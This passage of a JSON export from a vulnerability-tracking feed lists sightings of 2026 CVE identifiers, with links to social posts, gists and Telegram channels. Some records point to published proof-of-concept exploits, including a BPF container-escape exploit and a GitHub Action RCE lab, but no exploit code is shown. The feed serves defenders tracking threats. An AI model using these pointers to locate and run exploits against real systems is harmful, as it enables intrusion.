"https://bsky.app/profile/infosec.skyfleet.blue/post/3mjmvirpmir2y", "content": "", "creation_timestamp": "2026-04-16T17:07:20.570484Z"}, {"uuid": "7493be5e-a0ba-421e-b294-c57b6a404322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31927", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-106-03", "content": "", "creation_timestamp": "2026-04-16T10:00:00.000000Z"}, {"uuid": "f5cf6b4d-b684-48e3-a36a-63c0f615120f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31843", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116417457660527313", "content": "", "creation_timestamp": "2026-04-17T01:30:30.265190Z"}, {"uuid": "88671b96-78d5-42df-96cf-7c386566fd8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31843", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjnrmkdtzi2y", "content": "", "creation_timestamp": "2026-04-17T01:30:32.810992Z"}, {"uuid": "4276a998-013d-4e5f-a0a1-f128f3a4ada8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31787", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkn56ry53l2c", "content": "\ud83d\udd17 CVE : CVE-2026-23556, CVE-2026-23557, CVE-2026-23558, CVE-2026-23559, CVE-2026-23560, CVE-2026-23561, CVE-2026-23562, CVE-2026-31786, CVE-2026-31787, CVE-2026-42486", "creation_timestamp": "2026-04-29T12:50:08.035741Z"}, {"uuid": "ded9d370-7d35-4966-be32-2f5e9dcea470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31786", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkn56ry53l2c", "content": "\ud83d\udd17 CVE : CVE-2026-23556, CVE-2026-23557, CVE-2026-23558, CVE-2026-23559, CVE-2026-23560, CVE-2026-23561, CVE-2026-23562, CVE-2026-31786, CVE-2026-31787, CVE-2026-42486", "creation_timestamp": "2026-04-29T12:50:07.930920Z"}, {"uuid": "ea1f714f-145e-476f-be2f-2d76cd9de358", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31317", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjpjen3chh22", "content": "", "creation_timestamp": "2026-04-17T18:08:16.101989Z"}, {"uuid": "9cf0d28f-a42e-4e74-869c-eba0c0555de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31899", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mjpkryr5w22u", "content": "", "creation_timestamp": "2026-04-17T18:33:40.715610Z"}, {"uuid": "581c78c9-cd7c-4536-abcd-4443e1e663d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31939", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjqarmyaj42n", "content": "", "creation_timestamp": "2026-04-18T01:07:08.146071Z"}, {"uuid": "a3ffabf0-5270-40ba-bde7-d5fdfcbadd96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31940", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjqrk5ocog2g", "content": "", "creation_timestamp": "2026-04-18T06:07:11.460767Z"}, {"uuid": "a4086585-c74c-417a-8292-714b4ca52ca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31842", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mjuh74ycyj2l", "content": "", "creation_timestamp": "2026-04-19T17:12:43.167290Z"}, {"uuid": "e0365869-e862-4d43-bd0c-0cefb3281e6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31941", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjv6e6ep532o", "content": "", "creation_timestamp": "2026-04-20T00:07:07.880124Z"}, {"uuid": "f0465594-5731-48d5-b00a-b7893ca81dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31430", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjwesx2uva2e", "content": "", "creation_timestamp": "2026-04-20T11:35:25.483390Z"}, {"uuid": "479b180b-cf93-4057-b702-a8691a717c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31429", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjwew4fcs32k", "content": "", "creation_timestamp": "2026-04-20T11:37:11.586646Z"}, {"uuid": "8fd3a9b0-c08f-4703-b783-4f7a283705c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31317", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjxbyegapb2q", "content": "", "creation_timestamp": "2026-04-20T20:17:26.248840Z"}, {"uuid": "d71aa28e-a8bc-44ec-a280-f5ef2f3c12a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31368", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjyhfby5pv23", "content": "", "creation_timestamp": "2026-04-21T07:26:48.133476Z"}, {"uuid": "1ad26ab6-0d00-4ae1-b313-59d4771dc7cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31368", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjyhlzy3vh2c", "content": "", "creation_timestamp": "2026-04-21T07:30:34.990809Z"}, {"uuid": "801e5af4-e2f1-44ed-8fc0-1620b361c9b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31013", "type": "seen", "source": "https://gist.github.com/pentestrox/a35cd5df1a5a84eabada897fc4ffcc79", "content": "", "creation_timestamp": "2026-04-21T10:01:15.000000Z"}, {"uuid": "8b38494e-0b50-4d8b-9f11-ec2a6da51cc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31014", "type": "seen", "source": "https://gist.github.com/pentestrox/64cb5febcd9b3022c1f9d3340bf586e3", "content": "", "creation_timestamp": "2026-04-21T10:04:51.000000Z"}, {"uuid": "4e81a157-05cf-43b6-8801-60a1c27e57f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31370", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjyqywa7zl2o", "content": "", "creation_timestamp": "2026-04-21T10:18:50.481689Z"}, {"uuid": "2303145b-3310-42e7-b78e-2dd46218b006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31368", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjyrwae5pz2o", "content": "", "creation_timestamp": "2026-04-21T10:35:14.162999Z"}, {"uuid": "de349abe-1c49-49c1-84b3-a42844da9e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31369", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjys76tb3d2r", "content": "", "creation_timestamp": "2026-04-21T10:40:14.485315Z"}, {"uuid": "fc68bf35-34ad-4b77-95ce-5f2a5ff59a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31368", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjyvg7rop32t", "content": "", "creation_timestamp": "2026-04-21T11:37:52.219273Z"}, {"uuid": "09fc3520-f0b1-46ad-a268-cd9bffc119b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31892", "type": "seen", "source": "https://gist.github.com/macaugh/7354191f6bb1f1a35fd9d553658f4ccb", "content": "", "creation_timestamp": "2026-04-22T05:30:31.000000Z"}, {"uuid": "36858590-94d5-4c51-8822-2a0f7a7f368b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/79986", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a bpf-research\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Rat5ak\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-12 10:45:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31413: BPF verifier soundness bug - container escape exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-12T11:00:03.000000Z"}, {"uuid": "32bbd2b8-4eb0-4cd8-b4df-c0ba9161bc3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31432", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116448784012557105", "content": "", "creation_timestamp": "2026-04-22T14:17:12.536263Z"}, {"uuid": "8df9580c-5ff8-429f-9f6d-0a5537d9f4d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31433", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116448835101441112", "content": "", "creation_timestamp": "2026-04-22T14:30:11.825048Z"}, {"uuid": "8305cfeb-2cb3-4f01-8d8f-ffd9c3e5ecc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://gist.github.com/macaugh/ebf5efb9faed8f6c72f10b833285a2e1", "content": "", "creation_timestamp": "2026-04-22T14:50:28.000000Z"}, {"uuid": "5f9526a6-29dc-4422-8f02-b3c10f1528b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://gist.github.com/macaugh/4675b82e17bc1653cfcbb52e74dcf73d", "content": "", "creation_timestamp": "2026-04-22T14:54:59.000000Z"}, {"uuid": "2f4e082e-f139-427d-b977-ba885b64574a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31478", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116448996317066096", "content": "", "creation_timestamp": "2026-04-22T15:11:11.854246Z"}, {"uuid": "78cd326e-b8ba-4c5c-9952-e19ac5aade26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31500", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116449047471699253", "content": "", "creation_timestamp": "2026-04-22T15:24:12.306678Z"}, {"uuid": "e81cac2b-5d06-4fc2-9919-23fa53d7ee6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31494", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116449102535880022", "content": "", "creation_timestamp": "2026-04-22T15:38:12.942134Z"}, {"uuid": "42ed40fa-40df-4426-a5b2-20f6ebbb220b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31456", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116449153245629356", "content": "", "creation_timestamp": "2026-04-22T15:51:06.705949Z"}, {"uuid": "553a57dc-f2a0-4732-9389-ec2b32069ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://gist.github.com/macaugh/5232560fcfa17bebd36699a0ae29fa7c", "content": "", "creation_timestamp": "2026-04-22T17:08:44.000000Z"}, {"uuid": "f8f2c53b-8103-4588-975e-59fe4f07a1b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://gist.github.com/macaugh/f0dc5c47950aee80c977ad88ff7bc70a", "content": "", "creation_timestamp": "2026-04-22T17:17:13.000000Z"}, {"uuid": "91706f73-ec91-430b-abe8-6179963264e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://gist.github.com/macaugh/1c9a2e779898d33fa26a1411835755bc", "content": "", "creation_timestamp": "2026-04-22T17:24:03.000000Z"}, {"uuid": "22066daa-5457-4531-9987-1395f3e1c0ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://gist.github.com/macaugh/424669bb80a051af12b7d6944ea483ac", "content": "", "creation_timestamp": "2026-04-22T17:28:02.000000Z"}, {"uuid": "55e36d02-c2e7-4781-9e64-c6e6ce2592f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116454361395635388", "content": "", "creation_timestamp": "2026-04-23T13:55:36.374125Z"}, {"uuid": "d79fb993-0c34-437c-8595-f7987e86289a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116455370337412135", "content": "", "creation_timestamp": "2026-04-23T18:12:11.748204Z"}, {"uuid": "f24d6afe-e755-4682-9c52-3232ce1dfd7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31178", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mk6qyifdp22z", "content": "", "creation_timestamp": "2026-04-23T19:34:34.575061Z"}, {"uuid": "c218ce18-95ea-4b5e-a1ef-410c0306d406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31181", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mk6qyq43am2l", "content": "", "creation_timestamp": "2026-04-23T19:34:42.878034Z"}, {"uuid": "7b898a78-3c29-4bec-ae0b-3116b2e1837b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31175", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mk6r4c5dhp2n", "content": "", "creation_timestamp": "2026-04-23T19:36:43.077891Z"}, {"uuid": "9f044347-55b7-471d-9f38-52aae14c0c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31177", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mk6r4jdrn42l", "content": "", "creation_timestamp": "2026-04-23T19:36:49.849571Z"}, {"uuid": "959f06e3-24c0-40e2-9cb7-7cdd7ccc8f37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116455806440539618", "content": "", "creation_timestamp": "2026-04-23T20:03:06.041867Z"}, {"uuid": "cd06d8d2-5452-4cca-bf0d-d8a625d06ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116458496402084891", "content": "", "creation_timestamp": "2026-04-24T07:27:11.602473Z"}, {"uuid": "7d657538-b255-451c-ad30-f83cddae61c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31665", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116461014638911540", "content": "", "creation_timestamp": "2026-04-24T18:07:38.150804Z"}, {"uuid": "34820daa-084e-4ea8-8db0-9b4656894a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31048", "type": "seen", "source": "https://t.me/GithubRedTeam/79768", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a security-advisories\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sif-0x01\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-10 16:25:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity advisory for CVE-2026-31048\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-10T17:00:04.000000Z"}, {"uuid": "838dd7ce-8030-4e3a-94b4-d626f3c3bfa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/79866", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31900-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Batosay1337Lab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-11 11:40:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31900 Vulnerable Lab - psf/black GitHub Action RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-11T12:00:04.000000Z"}, {"uuid": "f1794862-4fcf-41ed-bf45-bdb5cb4a4e1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31280", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/79776", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CipherX1802\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-10 18:54:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA Bluetooth Classic RFCOMM service is exposed without enforcing secure authentication or proper access control.  Once within range, any device can:  Establish a connection without proper pairing restrictions Access RFCOMM channels directly Send arbitrary or malformed payloads\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-10T19:00:04.000000Z"}, {"uuid": "7e3af756-5c99-4d91-b4dd-30b3702150a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31682", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116464783504751353", "content": "", "creation_timestamp": "2026-04-25T10:06:05.152812Z"}, {"uuid": "2a55b5c8-8421-41ce-af24-c18726b2e284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "published-proof-of-concept", "source": "Telegram/e7PBFJde2LnVueG0og8YYZ0wWdMtgtklgJzK4m244pcB0hY", "content": "", "creation_timestamp": "2026-04-12T15:00:14.000000Z"}, {"uuid": "a7d861aa-bf0a-48db-af73-c62382f0b647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31923", "type": "published-proof-of-concept", "source": "Telegram/qw6naPQmOSFEqbc3iRVV_M5dhGETt1a49wBj6uReZM5MuI0", "content": "", "creation_timestamp": "2026-04-14T21:25:30.000000Z"}, {"uuid": "9fe867e7-6004-4562-b2ff-ad995a6533ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31843", "type": "seen", "source": "Telegram/5D912vOHN-G66auq1Hho6ww_p26h6YJ5ZFpozWyyt1z6weM", "content": "", "creation_timestamp": "2026-04-16T15:19:53.000000Z"}, {"uuid": "d1440a16-4b09-4eb7-be8f-fded18750ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31908", "type": "seen", "source": "Telegram/xaMuklUmIhmgdshubo3uV9apJJHbiRRivMdJ18LxU3A0Q4Q", "content": "", "creation_timestamp": "2026-04-16T15:19:33.000000Z"}, {"uuid": "52d638f7-478f-437e-84ef-8c800272512b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31931", "type": "seen", "source": "Telegram/2ZRPJX-1sLKzKjRuu5udQKo36EYUbcyEMGSCPR0-mfcyWco", "content": "", "creation_timestamp": "2026-04-02T15:21:32.000000Z"}, {"uuid": "347c5555-772b-4a58-a36e-8150977f2074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31933", "type": "seen", "source": "Telegram/2ZRPJX-1sLKzKjRuu5udQKo36EYUbcyEMGSCPR0-mfcyWco", "content": "", "creation_timestamp": "2026-04-02T15:21:32.000000Z"}, {"uuid": "6fd5fda7-0bd8-4a18-b06f-1d2c226ab0d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31932", "type": "seen", "source": "Telegram/2ZRPJX-1sLKzKjRuu5udQKo36EYUbcyEMGSCPR0-mfcyWco", "content": "", "creation_timestamp": "2026-04-02T15:21:32.000000Z"}, {"uuid": "69e47fa3-48e8-4b77-b6a3-8356b42dcccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31402", "type": "published-proof-of-concept", "source": "Telegram/UD4f2fAiHC8hrDsfHLnzkdfzuqQpRp_S5NbwfSwmP7L4Z6U", "content": "", "creation_timestamp": "2026-04-10T03:00:06.000000Z"}, {"uuid": "92a41a82-75f1-40b0-8fee-f8c98b02a54d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31674", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116464839048739557", "content": "", "creation_timestamp": "2026-04-25T10:20:12.668309Z"}, {"uuid": "333ea2a5-4d83-4b24-a13e-6787bbc514d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31939", "type": "seen", "source": "Telegram/3GtkgxN8M7sG_DIdrzHdivrGnBmd9UO5Jhg1ZnRR2u8dymg", "content": "", "creation_timestamp": "2026-04-10T19:31:11.000000Z"}, {"uuid": "ee8b278d-e7b5-42f4-a845-a9a04a63e687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31940", "type": "seen", "source": "Telegram/3GtkgxN8M7sG_DIdrzHdivrGnBmd9UO5Jhg1ZnRR2u8dymg", "content": "", "creation_timestamp": "2026-04-10T19:31:11.000000Z"}, {"uuid": "bdb3bec7-3cc7-4f4f-98ca-0c346f8f6825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31941", "type": "seen", "source": "Telegram/3GtkgxN8M7sG_DIdrzHdivrGnBmd9UO5Jhg1ZnRR2u8dymg", "content": "", "creation_timestamp": "2026-04-10T19:31:11.000000Z"}, {"uuid": "a5538ca0-ca6d-4a6f-9ee6-9cbd3c35e685", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31941", "type": "published-proof-of-concept", "source": "Telegram/5BYt_FCja3ItyUAudrFtyDv4j4kJF13U-uq-WjYMkVFgHgE", "content": "", "creation_timestamp": "2026-04-10T19:31:17.000000Z"}, {"uuid": "64123cd6-9257-4747-9dc7-4e2e55c37fdd", 